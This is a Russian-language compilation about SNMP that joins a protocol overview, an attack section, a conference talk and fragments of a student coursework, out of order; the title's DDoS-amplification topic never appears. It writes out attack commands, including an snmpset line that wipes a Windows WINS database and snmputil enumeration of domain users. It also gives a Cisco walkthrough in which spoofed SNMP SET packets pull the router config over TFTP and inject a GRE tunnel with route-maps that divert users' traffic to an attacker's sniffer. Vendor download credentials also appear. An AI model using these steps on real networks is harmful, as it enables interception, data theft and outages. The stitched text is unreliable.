Протокол snmp методы сетевых атак и защиты. Защита от DDoS атак типа SNMP Amplification. Тестирование сети с помощью SNMP

Протокол snmp методы сетевых атак и защиты. Защита от DDoS атак типа SNMP Amplification. Тестирование сети с помощью SNMP

Delphi , Интернет и Сети, Протоколы



Все серьезные системы управления сетями используют для своей работы простой сетевой протокол управления (Simple Network Management Protocol, SNMP). На самом деле SNMP - это не просто протокол, а целая технология, призванная обеспечить управление и контроль за устройствами и приложениями в сети. С ее помощью можно контролировать абсолютно любые устройства, подключенные к компьютерной сети, например датчики пожаротушения или даже светофоры. Разумеется, SNMP можно использовать (и это активно делают) для управления сетевыми компонентами: концентраторами, серверами, маршрутизаторами и т. п. Пользуясь информацией SNMP (такой, как показатель числа пакетов в секунду и коэффициент сетевых ошибок), сетевые администраторы могут более просто управлять производительностью сети и обнаруживать и решать сетевые проблемы.

Три составляющие части технологии SNMP: структура управляющей информации (Structure of Management Information, SMI) базы управляющей информации (Management Information Base, MIB) сам протокол SNMP

Модель управления SNMP

Агентами в SNMP являются программные модули, которые работают в управляемых устройствах. Агенты собирают информацию об управляемых устройствах, в которых они работают, и делают эту информацию доступной для систем управления сетями (network management systems - NMS) с помощью протокола SNMP.

Протокол SNMP v1

SNMP реализован в 1988 практически во всех широко распространенных сетевых средах: TCP/IP, IPX/SPX, AppleTalk и др. Основной концепцией протокола является то, что вся необходимая для управления устройством информация хранится на самом устройстве - будь то сервер, модем или маршрутизатор - в так называемой Административной Базе Данных (MIB - Management Information Base). SNMP как непосредственно сетевой протокол предоставляет только набор команд для работы с переменными MIB. Этот набор включает следующие операции:

  • get-request Используется для запроса одного или более параметров MIB
  • get-next-request Используется для последовательного чтения значений. Обычно используется для чтения значений из таблиц. После запроса первой строки при помощи get-request get-next-request используют для чтения оставшихся строк таблицы
  • set-request Используется для установки значения одной или более переменных MIB
  • get-response Возвращает ответ на запрос get-request, get-next-request или set-request
  • trap Уведомительное сообщение о событиях типа cold или warm restart или "падении" некоторого link"а.

Для того, чтобы проконтролировать работу некоторого устройства сети, необходимо просто получить доступ к его MIB, которая постоянно обновляется самим устройством, и проанализировать значения некоторых переменных.

Формат сообщений

Сообщения SNMP состоят из 2 частей: имени сообщества (community name) и данных (data). Имя сообщества назначает среду доступа для набора NMS, которые используют это имя. Информационная часть сообщения содержит специфичную операцию SNMP (get, set, и т.д.) и связанные с ней операнды. Операнды обозначают реализации об"екта, которые включены в данную транзакцию SNMP.

Structure of Managment Information. RFC 1208

Определяет логику адресации информации при взаимодействии агентов и менеджеров SNMP. Синтиксис описывается абстрактными правилами Abstract Syntax Notation One, ASN.1.

Managment Information Base (MIB, MIB-II). RFC 1213

MIB представляет из себя набор переменных, характеризующих состояние объекта управления. Эти переменные могут отражать такие параметры, как количество пакетов, обработанных устройством, состояние его интерфейсов, время функционирования устройства и т.п. Каждый производитель сетевого оборудования, помимо стандартных переменных, включает в MIB какие-либо параметры, специфичные для данного устройства (в поддерево private enterprise).

Как происходит адресация в MIB к некоторой ее переменной?

По своей структуре MIB представляет из себя дерево.Каждому элементу соответствует численный и символьный идентификатор. В имя переменной включается полный путь до нее от корневого элемента root.

Например, время работы устройства с момента перезагрузки хранится в переменной, находящейся в разделе system под номером 3 и называется sysUpTime. Соответственно, имя переменной будет включать весь путь: iso(1).org(3).dod(6).internet(1).mgmt(2).mib-2(1).system(1).sysUpTime(3); или на языке чисел: 1.3.6.1.2.1.1.3. Следует заметить, что при этом узлы дерева разделяются точками.

Существует стандартная ветвь MIB, относящаяся к разделу управления mgmt, которую обычно поддерживают все сетевые устройства.

Тестирование сети с помощью SNMP

При помощи SNMP можно выполнять различные тесты функциональных возможностей сетевых устройств, определенные опять же на самих устройствах. Это бывает полезно, поскольку просто наблюдение статистики зачастую не дает полной картины происходящего.

Так, например, для раздела, относящегося к интерфейсам Ethernet, определен тест TDR (Time-domain reflectometry), позволяющий определять приблизительное расстояние до повреждения в коаксиальном кабеле. Для того, чтобы запустить TDR тест необходимо установить значение переменной ifExtnsTestTypе (1.3.6.1.2.1.12.2.1.4), содержащей тип выполняемого теста, так, чтобы она содержала идентификатор теста TDR в MIB: 1.3.6.1.2.1.10.7.6.1.

Результатом теста будет, во-первых, значение переменной ifExtnsTestResult (1.3.6.1.2.1.12.2.1.5), характеризующей исход теста:

  • отсутствие результата
  • успех
  • выполняется
  • не поддерживается
  • невозможно запустить
  • прекращен
  • неудачное завершение

И во-вторых, значение переменной ifExtnsTestCode (1.3.6.1.2.1.12.2.1.6) будет содержать идентификатор переменной MIB, содержащей результат теста. Результат теста определен как временной интервал в 100-наносекундных единицах между началом передачи тестового пакета и обнаружением коллизий в несущей. В принципе, на основании данного значения можно определить требуемое расстояние.

Фундаментальным новшеством в SNMPv2 является то, что элемент администрирования сети может работать в качестве менеджера, агента или менеджера и агента одновременно. Данная концепция дает возможность пользователям применять SNMP в иерархической структуре, в которой локальные менеджеры отчитываются перед менеджерами среднего звена, которые, в свою очередь, контролируются менеджером высшего уровня. Немало места отводится проблемам защищенности SNMP, пожалуй, самой уязвимой точки протокола.

Безопасность SNMP. RFC 1352.

Один из наиболее заметных недостатков SNMP v1 - отсутствие развитой системы защиты данных на уровне, необходимом для сетей масштаба предприятия.

Как сказал Mike Warfield: "SNMP stands for Security Not My Problem".

В SNMPv1 защита административной информации трактовалась слишком упрощенно: она базировалась на использовании коллективного имени (Community Name), которое, находясь в заголовке SNMP, несло в себе все возможности защиты сообщений. Данное средство (известное под названием тривиальный протокол) требовало, чтобы программа-агент и менеджер опознали одно и то же коллективное имя, прежде чем продолжить выполнение операций сетевого администрирования. В результате многие администраторы сетей ограничивались в своей работе только функциями мониторинга, запрещая выдачу команды SET, способной изменять параметры конфигурации удаленного устройства. Это привело к тому, что пользователи избегали команд SET: такое примитивное средство защиты, как коллективное имя, могло дать возможность лицам, не наделенным соответствующими полномочиями, изменять параметры, о чем пользователи могли даже и не узнать. К тому же вся критически важная информация передавалась в открытом виде,поэтому в интернете доступен даже snmp sniffer

В связи с этим были разработаны предложения по совершенствованию защиты в рамках SNMPv1, представленные в июле 1992 г.; они составили основу структуры защиты для SNMPv2.

Стандартами защиты SNMPv2 определяются методы аутентификации (DAP - Digest Authentication Protocol) и обеспечения конфиденциальности (SPP -Symmetric Privacy Protocol) информации административного характера. В основе лежит концепция участника (party) - уникального набора параметров защиты, который может включать местоположение сети, протоколы аутентификации и обеспечения конфиденциальности, используемые между агентом и менеджером.

Проблемы внедрения SNMPv2

SNMPv2 сулит выгоды в плане защиты и производительности, что немаловажно для пользователей. Но некоторые компании наверняка предложат свои собственные идеи, особенно в части защиты и связей между менеджерами. Кроме того, фирмы, расширившие функциональные возможности своих баз данных MIB в средах с SNMPv1, вряд ли будут спешить с выпуском продуктов под SNMPv2.

Несомненно,пользователи захотят иметь продукты на базе SNMPv2. Но дело в том, что многие уже вложили слишком большие средства в версию SNMPv1, чтобы просто выбросить ее и начать все с нуля. Авторы SNMPv2 предвидели это и исходили из постепенности перехода на новую технологию. Предусмотрены два способа сохранения SNMPv1: использование уполномоченных агентов и двуязычных менеджеров. Уполномоченный агент выполняет преобразование форматов SNMPv1 в сообщения SNMPv2 и обратно.

Другой вариант - двуязычный менеджер, который одновременно поддерживает оба протокола (SNMPv1 и SNMPv2) и не требует преобразований. Двуязычный менеджер SNMP определяет, с каким форматом работает агент - версии 1 или версии 2, и общается на соответствующем диалекте. Таким образом, выбор версии протокола должен быть прозрачен для принимающих устройств.

К сожалению,вторая версия SNMP так до сих пор и не утверждена, поэтому в стане сетевого управления наблюдается разброд и шатания.

Доступные реализации агентов и менеджеров

http://www.microsoft.com/smsmgmt/
MS SMS Netmon

http://www.winfiles.com/apps/98/net-manage.html
куча разнообразных агентов и менеджеров для Win95.

Epilogue предлагает ПО, реализующее поддержку SNMP, включающую:

  • Envoy, Epilogue"s compact, fast, portable SNMP solution for OEMs
  • Emissary, an SNMP MIB compiler that allows SNMP implementors to extend standard SNMP variables to support extensions to the MIBs in each managed device;
  • Ambassador, a complete, portable implementation of the RMON (FastEthernet) remote monitoring agent.
  • The IBM Netview for AIX feature of SystemView provides distributed or centralized management of large heterogeneous networks.
  • ACE*COMM WinSNMP supports SNMPv1 & SNMPv2u in v2.0 of its industry-leading Win16 and Win32 WinSNMP implementations.
  • Digital Unix POLYCENTER Manager on NetView provides client/server management of multivendor enterprise networks.
  • The PowerFlag tool - агент для UPS MIB источников бесперебойного питания компании Victron B.V.
  • WS_Ping ProPack v.2.10 позволяет просматривать MIB таблицы, указывать поддеревья. Для скачавания свежих версий с сервера Ipswitch можно использовать следующие данные:
    • User Name: 0000037181
    • Password: CQWSC
    • Serial Number: WP-101333
  • Openly-Available Implementations
  • CMU SNMP agent (source)
    • an agent that support both SNMPv1 and SNMPv2u
    • a number command line based applications that support both SNMPv1 and SNMPv2u.
    • Carnegie-Mellon University SNMP Development Kit supporting SNMPv1/v2
  • NetSCARF is a Network Statistics Collection and Reporting Facility. It allows ISPs to collect and report data about their part of the Internet, supports both SNMP version 1 and USEC.
  • Scotty is a network management extension for the Tool Command Language (Tcl) which includes a portable implementation of the SNMPv1, SNMPv2c and SNMPv2u protocol. The Scotty Tcl extension includes the network management platform (Tkined) which provides a MIB browser, a network map editor as well as status monitoring, troubleshooting, network discovery and event filtering scripts.
    • snmptcp v1.3 is a extensible platform for management applications which seemlessly implements SNMPv1, SNMPv2c, and SNMPv2u.
    • The package runs under the X Window System on UNIX and is built from Tool Command Language (Tcl7.3/Tk3.6).In addition to a MIB compiler, the package contains some minimal applications for a number of standard MIB modules.

Атака на Windows SNMP.

Cервисы работают на следующих UDP портах (/etc/services)

  • snmp 161/udp snmp
  • snmp-trap 162/udp snmp

Интересные SMI Network Management Private Enterprise Codes:

Prefix: 1.3.6.1.4.1.

  • 2 IBM
  • 4 Unix
  • 9 cisco
  • 32 Santa Cruz Operation
  • 42 Sun Microsystems

Небольшое распространение сканнеров UDP портов под Windows, SNMP менеджеров, а также отсутствие знаний о самом протоколе является, по всей видимости, единственной причиной малочисленности атак на устройства под управление SNMP v1, так как в реализациях этого протокола в некоторых операционные системы допущены серьезные ошибки. Подтверждения этому то и дело появляются в списках рассылки bugtraq

Уязвимость в стандартной конфиругации Windows NT SNMP Сервиса.

Позволяет удаленно конфигурировать сетевые парамерты, которые влияют на безопасность и правильное функционирования системы (если администратор сам запустил SNMP Service)

При конфигурации по умолчанию, SNMP service отвечает на стандартное community (имя) "public", которое обладает права на чтение и запись. Community - это имя, которое обладает такими же функциями, как логин и пароль в системах.

Протокол SNMP предоставляет два уровня полномочий: read-only and read-write, однако до выхода SP4 Windows NT SNMP Service не позволял конфигурировать communities по доступу, отличному от read-write!

Если попытать обезопасить SNMP Service путем переименования community для доступа, то система останется незащищенной от крякера, имеющего аккаунт на машине, так как параметры SNMP Service находятся в регистри и доступны всем пользователям на чтение. Также Windows NT SNMP Service обладает возможностью ограничить доступ для списков IP-адресов. На первый взгляд это позволяет защититься от атак неизвестных систем, однако это не является проблемой для крякеров (что необходимо понимать любому администратору), так как протокол SNMP использует UDP протокол для обмена информацией, а он является протоколом без установления соединения, поэтому возможна подмена исходящего адреса (но для этого придется переработать исходники SNMP менеджеров под Unix и изучить UDP spoofing)

SNMP "set" операции (позволяющие менять значение переменных) могут быть произведены с подменой обратного адреса на любой, так как ответ не нужен. Однако если включено ограничение доверенных IP адресов, но придется найти аккаунт на атакуемой системе и извлечь доверенную информацию из регистри.

Благодаря сконфигурированному по умолчанию Windows NT SNMP Сервису мы можем извлечь с помощью SNMP менеджера следующую информацию:

  • the LAN Manager domain name
  • a list of users
  • a list of shares
  • a list of running services
  1. Открыть HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
  2. найти значение, которое содержит SOFTWARE\Microsoft\LANManagerMIB2Agent\CurrentVersion
  3. и удалить его.
  • a list of active TCP connections
  • a list of active UDP connections
  • a list of network interfaces and their associated IP and hardware addresses
  • the IP routing table and the ARP table as well as a number of networking performance statistics.

Устанавливая переменные, крякер может модифицировать таблицу роуминга, ARP таблицу, выключить сетевые интерфейсы, сбить существенные сетевые параметры типа default IP, время жизни пакетов (TTL), IP forwarding (позволит крякеру перенаправлять сетевой трафик). Это особенно опасно, если атакуемая машина является фаерволом.

За примерами далеко ходить не надо, например, если машина является domain controller или server, но получить список всех пользователей в домене можно командой C:\NTRESKIT>snmputil walk public .1.3.6.1.4.1.77.1.2.25

Если вам хочется удалить все записи в базе данных WINS (что приведет к полному отказу WinNT), то для этого необходимо выполнить ~$snmpset -v 1192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2 из набора CMU SNMP development kit under Unix.

Также есть очень любопытная деталь при установки SNMP community names в Windows NT 4.0 (SP3). Если сервис включен, а имена не сконфигурированы, то любое имя будет давать read/write привилегии. Как оказалось, это указано еще в спецификации SNMP (RFC 1157)!

Четвертый СервисПак(SP4) предоставляет следующее решение проблемы: добавление контроля доступа community как READ ONLY,READ WRITE или READE CREATE. Однако по умолчанию SP4 устанавливает READ CREATE доступ, который все еще позволяет атаковать машины. Микрософт явно заботиться об удобстве WinNT для хакеров:)

Проблема в OS Solaris версии до 2.6.

Исходя из ISS Security Advisory (November 2nd, 1998), в агенте SNMP, который по умолчанию запущен в этой системе, существуют реальные угрозы получить доступ на уровне рута, манипулировать процессами и параметрами машины.

Для доступа к MIB-информации существует скрытая "undocumented community string", которая позволит атакующему изменить большинство системных параметров.

К сожалению, само это community не называется, однако ISS Internet Scanner и ISS RealSecure real-time intrusion detection могут детектировать эту проблемы, т.е. посмотреть можно и в их исходниках

Статья Описание протокола SNMP (Simple Network Management Protocol) раздела Интернет и Сети Протоколы может быть полезна для разработчиков на Delphi и FreePascal.

Информационная безопасность - 2006

Доклад

SNMP - удобный протокол

или угроза для корпоративной сети

- Предыстория SNMP

Протокол SNMP (Simple Network Management Protocol) предоставляет методы управления сетевыми ресурсами.

История SNMP (Simple Network Management Protocol) протокола начинается со своего предшественника SGMP (Simple Gateway Monitoring Protocol), который был определён в RFC 1028 в 1987 году. SGMP был разработан как временное решение к сетевому управлению.

Стандарт SGMP определил основную модель дизайна, используемого в SNMP, описывая SGMP протокол только в терминах поиска и/или изменений переменных, сохранённых на router-e. Данный стандарт также выделяется небольшим числом операций, которые всё ещё являются основанием для операций SNMP на сегодняшний день.

Первая версия SNMP структуры, SNMPv1, была определена в RFC 1067 (позже пересмотрена в RFC 1098 и 1157) в 1993 году.

Новая SNMPv2 спецификация была выпущена в 1996 году и включала в себя доработки, такие как: механизм блокировки, 64-битные счетчики, улучшенное сообщение ошибки.

Самое последнее дополнение к протоколу – SNMPv3 – определённый в 1999 году. В основном это тот же SNMPv2, но с доработками с точки зрения безопасности, таких как: Security Model (модель защиты) и Access Control Model (модель управления доступом).


- Эффективный контроль над сетью

SNMP может использоваться для управления любой системы, подключенной к Интернету

Затраты на внедрение SNMP – минимальны

Определяя новые «Управляемые Объекты» (MIBs), возможности управления могут быть расширены легко

SNMP довольно устойчив; даже в случае отказов в работе, менеджер может продолжать работать (хотя может понадобиться немного больше усилия)

В настоящее время производители устройств передачи данных включают SNMP по умолчанию. Данный протокол стал наиболее важным стандартом для сетевого управления.

- Разве SNMP это угроза?

В зависимости от версии SNMP стандарта и правильности настройки оборудования, данный протокол можно использовать во многих отраслях хакинга, от мелкого хулиганства до эффективного промышленного шпионажа .

Часто системные администраторы имеют смутное представление о SNMP. Вследствие неопределенного представления о предназначении этого протокола, а соответственно и незнания потенциально возможных проблем, вопросы его безопасности часто упускаются из виду.

Тот факт, что протокол SNMP основан на UDP, делает его еще более интересным. Являясь протоколом без установления соединения, UDP уязвим к атаке подмены IP (IP spoofing). Если в вашей организации есть оборудование Cisco, вы готовы к исследованию того, что с ними можно сделать с помощью SNMP.

Сценарий атаки 1.

Ниже приводится текущая конфигурация атакуемого маршрутизатора (Victim Router):

Current configuration: 1206 bytes

enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA. YX0

interface Ethernet0/0

interface Ethernet0/1

ip address 192.168.0

network 192.168.1.0

ip nat inside source list 102 interface Ethernet0/0 overload

no ip http server

access-list 1 permit 192.168.

access-list 102 permit ip any any

snmp-server community public RO

snmp-server community private RW 1

snmp-server enable traps tty

logging synchronous

Обратите внимание на правило доступа для группы RW. Это правило пытается ограничить SNMP доступ на чтение/запись, разрешив его только для пользователей из локальной сети (192.168.1.0).

Можно выделить два основных этапа атаки:

Обход правил доступа SNMP на атакуемом маршрутизаторе с целью получения доступа к конфигурационному файлу маршрутизатора. Создание GRE туннеля между атакуемым маршрутизатором и маршрутизатором хакера для удаленного перехвата трафика атакуемой клиентской машины (Victim Client).

Теория

Используя SNMP-команду SET, можно заставить Cisco маршрутизатор замещать/отправлять его конфигурационный файл с помощью TFTP.

Отправив SNMP запрос SET с поддельным IP адресом (из диапазона, описанного в RFC10) мы должны заставить атакуемый маршрутизатор отправить нам свой конфигурационный файл. Это предполагает, что мы знаем ‘private community string’ и ACL, описанные в строке конфигурации группы RW.

Обход правил доступа SNMP

Начнем с создания поддельного SNMP запроса. Используя небольшой Perl скрипт и Ethereal, перехватим стандартный SNMP SET запрос “copy config”, который мы будем использовать в качестве базового пакета.


root@whax# ./copy-router-config. pl

######################################################

# Copy Cisco Router config - Using SNMP

# Hacked up by muts - *****@***co. il

#######################################################

Usage: ./cisco-copy-config. pl

Make sure a TFTP server is set up, preferably running from /tmp!

После выполнения скрипта будет перехвачен SNMP пакет. Как и ожидалось, этот запрос был отклонен маршрутизатором, и конфигурационный файл не был отослан.


Обратите внимание на IP адрес атакующего (80.179.76.227). Теперь, используя hex-редактор, мы изменим этот IP адрес и некоторый другие поля заголовка пакета. В шестнадцатеричной системе счисления подделанный IP адрес 192.168.1.5 выглядит как C0 A8

Затем мы отправим пакет, используя file2cable (или любой другой генератор пакетов).

Пакет обходит правила доступа SNMP, и мы получаем конфигурационный файл атакуемого router-a по TFTP.

GRE туннель

GRE (Generic Routing Encapsulation) – протокол туннелирования, разработанный для инкапсуляции произвольных типов пакетов сетевого уровня внутри пакета сетевого уровня. Один из вариантов использования GRE – соединение сегментов IPX сети через канал связи поддерживающий только сетевой уровень модели OSI. В этом случае вам нужно будет создать GRE туннель с одного маршрутизатора на другой для передачи IPX пакетов туда и обратно через канал поддерживающий только протокол IP.

Однако мы будем использовать GRE для достижения целей, отличных от его обычного предназначения. Наш план состоит в следующем:

    Создать GRE туннель от атакуемого маршрутизатора до маршрутизатора хакера. Определить, какой трафик будет проходить через туннель. Распаковывать GRE пакеты идущие с атакованного маршрутизатора и переправлять их на компьютер атакующего (sniffer) для анализа.

Атакуемый маршрутизатор

Нам нужно создать GRE туннель на атакуемом маршрутизаторе. Так как доступа к терминалу (консоли) у нас нет, мы можем просто отредактировать полученный файл конфигурации и затем отправить его назад на маршрутизатор, используя поддельный SNMP SET запрос. Добавим следующие строки в файл конфигурации атакуемого маршрутизатора:

interface tunnel0

ip address 192.168.10

tunnel source Ethernet0/0

tunnel destination

tunnel mode gre ip

Они означают следующее:

    Мы создали интерфейс tunnel0 и указали IP адрес из сети 192.168.10.x. Для обмена данными оба конца туннеля должны находиться в одной подсети. Мы указали, что интерфейс Ethernet0/0 является началом туннеля (а иначе, откуда туннель мог бы начинаться?) Конец туннеля это IP адрес внешнего интерфейса маршрутизатора хакера. Последняя команда не обязательна, так как по умолчанию все равно создается именно GRE туннель (но мы все же добавили ее для большей уверенности).

Теперь мы можем настроить правила доступа (access-lists) для указания типа проходящего через туннель трафика и карты маршрутизации (route-maps) необходимые для перенаправления трафика.

Для этого добавим в файл конфигурации атакуемого маршрутизатора еще несколько строк:

access-list 101 permit tcp any any eq 443

access-list 101 permit tcp any any eq 80

access-list 101 permit tcp any any eq 21

access-list 101 permit tcp any any eq 20

access-list 101 permit tcp any any eq 23

access-list 101 permit tcp any any eq 25

access-list 101 permit tcp any any eq 110

Мы разрешили передачу данных по протоколам SSL, HTTP, FTP, telnet, SMTP и POP3.

Теперь, если трафик соответствует вышеописанным правилам, он будет перенаправлен в соответствии с картами маршрутизации, описание которых нужно добавить в файл конфигурации:

router-map divert-traffic

match ip address 101

set ip next-hop 192.168.10.2

interface Ethernet0/0

ip policy route-map divert-traffic

    Мы создали правило доступа, разрешающее все типы трафика. Мы создали карту маршрутизации divert-to-sniffer (эта карта маршрутизации будет перенаправлять туннелированный трафик на сниффер). Созданное правило доступа используется в качестве условия соответствия. В качестве next-hop адреса мы указали IP адрес атакующего (sniffer). Мы применили карту маршрутизации к интерфейсу tunnel0.

Очень важно, что мы используем карту маршрутизации для перенаправления данных. Маршрутизатор получает туннелированные данные, инкапсулированные в GRE пакете, и без декодирования пакета мы не можем их просмотреть. Переправляя полученные пакеты атакующему (sniffer), маршрутизатор передает их как обычные IP пакеты без GRE инкапсуляции.

Наконец, создадим карту маршрутизации и ассоциируем ее с интерфейсом Ethernet0/0:

Attacker(config-if)# route-map divert-out

Attacker(config-route-map)# match ip address 101

Attacker(config-route-map)# set ip next-hop 192.168.10.1

Attacker(config-route-map)# exit

Attacker(config)# interface ethernet0/0

Attacker(config-if)# ip policy route-map divert-out

Эти дополнительные настройки означают следующее:

    После того как атакующий (sniffer) перехватит и переправит туннелированные данные назад, карта маршрутизации divert-out перенаправит трафик обратно на атакуемый маршрутизатор. Мы применили карту маршрутизации к Ethernet интерфейсу.

Начинаем атаку

После того как все настройки будут завершены, все, что нам останется сделать – загрузить новый модифицированный файл конфигурации на атакуемый маршрутизатор. Результатом будет активации GRE туннеля и перенаправление всего трафика из локальной сети атакуемого компьютера к хакеру (sniffer).

Проверить работоспособность туннеля можно, отослав отладочную команду на маршрутизатор атакующего:

Attacker# debug tunnel

-> 212.199.145.242, tos=0x0

*Mar 3 06:38: Tunnel0: GRE/IP to classify 212.199.145.242

->80.179.20.55 (len=108 type=0x800 ttl=253 tos=0x0)

*Mar 3 06:38: Tunnel0: adjacency fixup, 80.179.20.55

-> 212.199.145.242, tos=0x0g all

В результате этих действий, Ethereal на компьютере атакующего получит следующие пакеты:

https://pandia.ru/text/78/194/images/image006_20.jpg" width="624" height="468">

Через несколько часов, мы получаем данные сканирования:

Полученные данные содержат следующего типа информацию:

- SysName - можно узнать адрес, № телефона абонента

- Agent IP Address -

- DNS -

- Response Time -

- Vendor -

- System Description - можно использовать в качестве дополнительной полезной информации при атаках

- Community - snmp- community с помощью которой мы извлекли информацию

- Location - можно узнать адрес, № телефона абонента

- Contact - можно узнать имя, кличку администратора

- Last Boot Time -

- Interfaces - чем больше, тем интерестнее

- Discovery Status -

Из полученных данных используем IP адреса и программу Real-time Network Monitor, для того чтобы узнать какую полезную информацию можно получить при дополнительных запросах SNMP.

Также вполне реально получить полный доступ к аппарату просто заменив имя snmp-community с public на private. Тем самым у нас появляется возможность посылать различные snmp команды.

Результат атаки:

После данного эксперимента мы узнали что:

Не используется даже простейший метод защиты – access-list-ы

С легкостью можно узнать число клиентов провайдера

Конфиденциальную информацию клиентов провайдера

Экономический потенциал провайдера

Полезную информацию, которую можно использовать при различных атаках

- легко можно собирать статистику провайдера и его корпоративных клиентов, при дальнейшем её использовании в определённых целях

- Можно ли предотвратить атаку? Методы защиты

Иногда некоторые вещи являются не тем, чем кажутся. Когда имеешь дело с SNMP (или другим протоколами на основе UDP) всегда нужно знать об укромных уголках и трещинах, упущение из виду которых может стать причиной компрометации вашей сети.

Методы защиты предельно просты. Они полностью зависят от администраторов сетей:

Не оставлять настройки оборудования по умолчанию (by default)

Правильно продумать схему использования протокола

Определять сложные имена snmp-community

Использовать access-list-ы

Указывать одиночные IP адреса в access-list-ах, а не IP ranges (IP диапазоны)

- Заключение

Целью работы было показать не столько эффективность описанной атаки, сколько потенциальные бреши протоколов, основанных на UDP. Это никоим образом не означает, что оборудование Cisco/ZyXel небезопасно. Грамотная конфигурация должна свести к минимуму шансы обхода защиты. Ошибки сетевых администраторов – вот основные причины компрометаций сетевого оборудования.

ЗАКЛЮЧЕНИЕ
Исследование посвящено вопросам обеспечения безопасности организации сетевого взаимодействия посредством протокола SNMP. В процессе работы были выявлены особенности названного протокола и возможные проблемы его использования. Для обоснования проблемы приведены статистические данные, подтверждающие высокую вероятность реализации сетевых атак. Кроме того, теоретическая часть содержит сведения о структуре протокола, схему запросов/откликов и этапы получения ответов на запросы.
В рамках курсовой работы проведен анализ возможных атак на протокол SNMP, среди которых можно выделить Dos-атаки, атаки типа «Переполнение буфера» и использующие уязвимости форматной строки. Конечно, потенциально возможных угроз гораздо больше, но их обзор предусматривает более глубокое и всесторонне исследов ание.
Для построения системы защиты сетевого взаимодействия абонентов сети были рассмотрены способы предотвращения атак на протокол SNMPи отмечено, что эффективным будет применение комплекса средств.
На основе анализа выявлено, что протоколSNMP достаточно уязвим и, если все-таки принято решение о его использовании, следует разработать политику безопасности и придерживаться всех ее принципов.
Таким образом, можно сделать вывод о достижении цели и решении задач, определенных во введении

ВВЕДЕНИЕ
Современное стремительное развитие информационных технологий предъявляет новые требования к хранению, обработке и распространению данных. От традиционных носителей информации и от выделенных серверов компании и частные лица постепенно переходят к дистанционным технологиям, реализованным через глобальную сеть Интернет. Сервисы в Интернет способны стать незаменимыми инструментами функционирования современной, динамично развивающейся компании, к числу которых можно отнести электронную почту; обмен файлами, голосовыми сообщениямии данных с использованием видео-приложений; разработка собственных Web-ресурсов.
По мнению многих специалистовширокое применение технологий Интернет требует построения системы эффективного управления сетевыми устройствами, одним из инструментов которой может стать протокол SNMP. Однако, организация управления и мониторинга сетевых устройств через данный протокол делает уязвимыми для атак элементы сети. Таким образом, вопросы технологии предотвращения сетевых атак в свете развития сервисов Интернет выходят на первый план и требуют всестороннего анализа. Именно поэтому тема исследования актуальна.
Вопросам построения системы защиты от атак на протокол SNMPпосвящены вопросы многих авторов, но единого мнения по поводу целесообразности использования SNMP в виду сложности обеспечения безопасности нет. Так, Фленов М. в свое книге «Linux глазами Хакера» выделил недостатки данного протокола и не рекомендует его применение. СмирноваЕ. В. В учебном пособии «Технологии коммутации и маршрутизации в локальных компьютерных сетях» излагает сведения по многоадресным схемам передачи данных и эффективному управлению сетевым оборудованием с помощью протокола SNMP, а так же отдельно выделяет вопросы безопасности его применения. Дальнейший обзор специальной литературы и Интернет источников подтвердил необходимость исследования вопросов безопасного применения протокола SNMP для принятия решения о целесообразности его использования.основой для данного решения станет анализ возможных атак и эффективности методов их предотвращения.
Цель исследования - провести всесторонний анализ возможных атак на протокол SNMP и способов противодействия.
Для достижения цели необходимо решение ряда задач:
1. Провести обзор литературы и Интернет-источников по вопросам организации безопасного сетевого взаимодействия на основе применения протокола SNMP.
2. Обосновать необходимость изучения методов атак на протокол SNMP и способов их предотвращения.
3. Выделить особенности управления на базе протокола SNMP.
4. Провести анализ техник на протокол SNMP.
5. Описать методы предотвращения атак на протокол SNMP.
Объект исследования - протокол SNMP.
Предмет исследования - методы сетевых атак на протокол SNMP и способы их предотвращения.
Методы исследования: анализ, синтез, изучение источников информации.
Курсовая работа состоит из введения, двух глав и заключения. Первая глава посвящена теоретическому обоснованию проблемы. Вторая глава содержит анализ возможных атак и способов их предотвращения

СОДЕРЖАНИЕ
ВВЕДЕНИЕ 3
1. ТЕОРЕТИЧЕСКОЕ ОБОСНОВАНИЕ ПРОБЛЕМЫ ИССЛЕДОВАНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP
1.1 НЕОБХОДИМОСТЬ ИЗУЧЕНИЯ МЕТОДОВ АТАК НА ПРОТОКОЛ SNMP 5
1.2 ПРОТОКОЛ SNMP: ОПИСАНИЕ, ПРЕДНАЗНАЧЕНИЕ 7
2. АНАЛИЗ АТАК НА ПРОТОКОЛ SNMP И СПОСОБОВ ПРОТИВОДЕЙСТВИЯ
2.1 ТЕХНИКИ АТАК НА ПРОТОКОЛ SNMP И СПОСОБЫ ИХ ПРЕДОТВРАЩЕНИЯ 11
2.2 СПОСОБЫ ПРОТИВОДЕЙСТВИЯ АТАКАМ НА ПРОТОКОЛ SNMP 15
ЗАКЛЮЧЕНИЕ 20
СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ 21

СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ
Нормативно-правовые акты
1. Федеральный закон Российской Федерации от 27 июля 2006 г. N 149-ФЗ Об информации, информационных технологиях и о защите информации
Список специализированной и научной литературы
2. Бланк-Эдельман Д. Perl для системного администрирования, М.: символ-Плюс, 2009.- 478с.
3. Бородакий В.Ю. Практика и перспективы создания защищенного информационно-вычислительного облака на основе МСС ОГВ / В.Ю. Бородакий, А.Ю. Добродеев, П.А. Нащекин // Актуальные проблемы развития технологических систем государственной охраны, специальной связи и специального информационного обеспечения: VIII Всероссийская межведомственная научная конференция: материалы и доклады (Орел, 13-14 февраля 2013 г.). - В 10 ч. Ч.4 / Под общ.ред. В.В. Мизерова. - Орел: Акаде мия ФСО России, 2013.
4. Гришина Н. В. Организация комплексной системы защиты информации. -- М.: Гелиос АРВ, 2009. -- 256 с,
5. Дуглас Р. Мауро Основы SNMP, 2-е издание/Дуглас Р. Мауро, Кевин Дж. Шмидт - М.:Символ-Плюс, 2012.-725с.
6. Кульгин М.В. Компьютерные сети. Практика построения. Для профессионалов, СПб.: Питер, 2003.-462с.
7. Мулюха В.А. Методы и средства защиты компьютерной информации. Межсетевое экранирование: Учебное пособие/ Мулюха В.А., Новопашенный А.Г., Подгурский Ю.Е.- СПб.: Издательство СПбГПУ, 2010. - 91 c.
8. Олифер В. Г.,Олифер Н. П. Компьютерные сети. Принципы, технологии, протоколы. - 4-е. - СПб: Питер, 2010. -902с.
